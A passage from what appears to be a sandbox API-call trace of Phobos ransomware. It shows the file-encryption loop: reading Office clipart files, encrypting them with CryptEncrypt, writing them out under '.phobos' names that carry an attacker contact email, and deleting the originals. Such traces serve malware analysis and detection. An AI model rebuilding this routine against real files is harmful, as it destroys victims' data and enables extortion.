(hObject=0x310) returned 1 [0135.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220 [0135.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.573] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.573] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.587] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e98) returned 1 [0135.587] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.587] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x3dbe, lpOverlapped=0x0) returned 1 [0135.601] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3dc0, dwBufLen=0x3dc0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3dc0) returned 1 [0135.601] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x3dc0, lpOverlapped=0x0) returned 1 [0135.602] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752cd8) returned 1 [0135.602] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.602] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.602] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.602] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.603] CryptDestroyKey (hKey=0x752e98) returned 1 [0135.603] CloseHandle (hObject=0x310) returned 1 [0135.603] CloseHandle (hObject=0x2b4) returned 1 [0135.603] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0135.606] SetEvent (hEvent=0x2b8) returned 1 [0135.606] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.607] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=7296) returned 1 [0135.607] CloseHandle (hObject=0x2b4) returned 1 [0135.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220 [0135.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.607] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.607] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.607] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752ad8) returned 1 [0135.607] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.607] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x1c80, lpOverlapped=0x0) returned 1 [0135.615] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1c90, dwBufLen=0x1c90 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1c90) returned 1 [0135.615] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x1c90, lpOverlapped=0x0) returned 1 [0135.616] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753018) returned 1 [0135.616] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.616] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.616] CryptDestroyKey (hKey=0x753018) returned 1 [0135.616] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.616] CryptDestroyKey (hKey=0x752ad8) returned 1 [0135.616] CloseHandle (hObject=0x2b4) returned 1 [0135.616] CloseHandle (hObject=0x310) returned 1 [0135.616] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0135.617] SetEvent (hEvent=0x2b8) returned 1 [0135.617] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.617] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2616) returned 1 [0135.617] CloseHandle (hObject=0x310) returned 1 [0135.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220 [0135.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.617] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.617] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.618] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752dd8) returned 1 [0135.618] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.618] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0xa38, lpOverlapped=0x0) returned 1 [0135.632] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xa40, dwBufLen=0xa40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xa40) returned 1 [0135.633] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xa40, lpOverlapped=0x0) returned 1 [0135.634] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752cd8) returned 1 [0135.634] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.634] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.634] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.634] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.635] CryptDestroyKey (hKey=0x752dd8) returned 1 [0135.635] CloseHandle (hObject=0x310) returned 1 [0135.635] CloseHandle (hObject=0x2b4) returned 1 [0135.635] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0135.636] SetEvent (hEvent=0x2b8) returned 1 [0135.636] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.636] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2704) returned 1 [0135.636] CloseHandle (hObject=0x2b4) returned 1 [0135.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220 [0135.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.636] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.636] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.637] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753098) returned 1 [0135.637] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.637] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0xa90, lpOverlapped=0x0) returned 1 [0135.644] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xaa0, dwBufLen=0xaa0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xaa0) returned 1 [0135.644] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xaa0, lpOverlapped=0x0) returned 1 [0135.645] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752d18) returned 1 [0135.645] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.645] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.645] CryptDestroyKey (hKey=0x752d18) returned 1 [0135.645] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.646] CryptDestroyKey (hKey=0x753098) returned 1 [0135.646] CloseHandle (hObject=0x2b4) returned 1 [0135.646] CloseHandle (hObject=0x310) returned 1 [0135.646] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0135.646] SetEvent (hEvent=0x2b8) returned 1 [0135.647] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.647] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=7932) returned 1 [0135.647] CloseHandle (hObject=0x310) returned 1 [0135.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220 [0135.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.647] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.647] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.648] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752d18) returned 1 [0135.648] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.648] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x1efc, lpOverlapped=0x0) returned 1 [0135.713] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1f00, dwBufLen=0x1f00 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1f00) returned 1 [0135.714] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x1f00, lpOverlapped=0x0) returned 1 [0135.715] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752e58) returned 1 [0135.715] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.715] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.715] CryptDestroyKey (hKey=0x752e58) returned 1 [0135.715] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.715] CryptDestroyKey (hKey=0x752d18) returned 1 [0135.715] CloseHandle (hObject=0x310) returned 1 [0135.715] CloseHandle (hObject=0x2b4) returned 1 [0135.715] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0135.716] SetEvent (hEvent=0x2b8) returned 1 [0135.716] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.717] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=4970) returned 1 [0135.717] CloseHandle (hObject=0x2b4) returned 1 [0135.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220 [0135.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0135.717] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.717] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.717] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752cd8) returned 1 [0135.717] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.717] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x136a, lpOverlapped=0x0) returned 1 [0135.749] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1370, dwBufLen=0x1370 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1370) returned 1 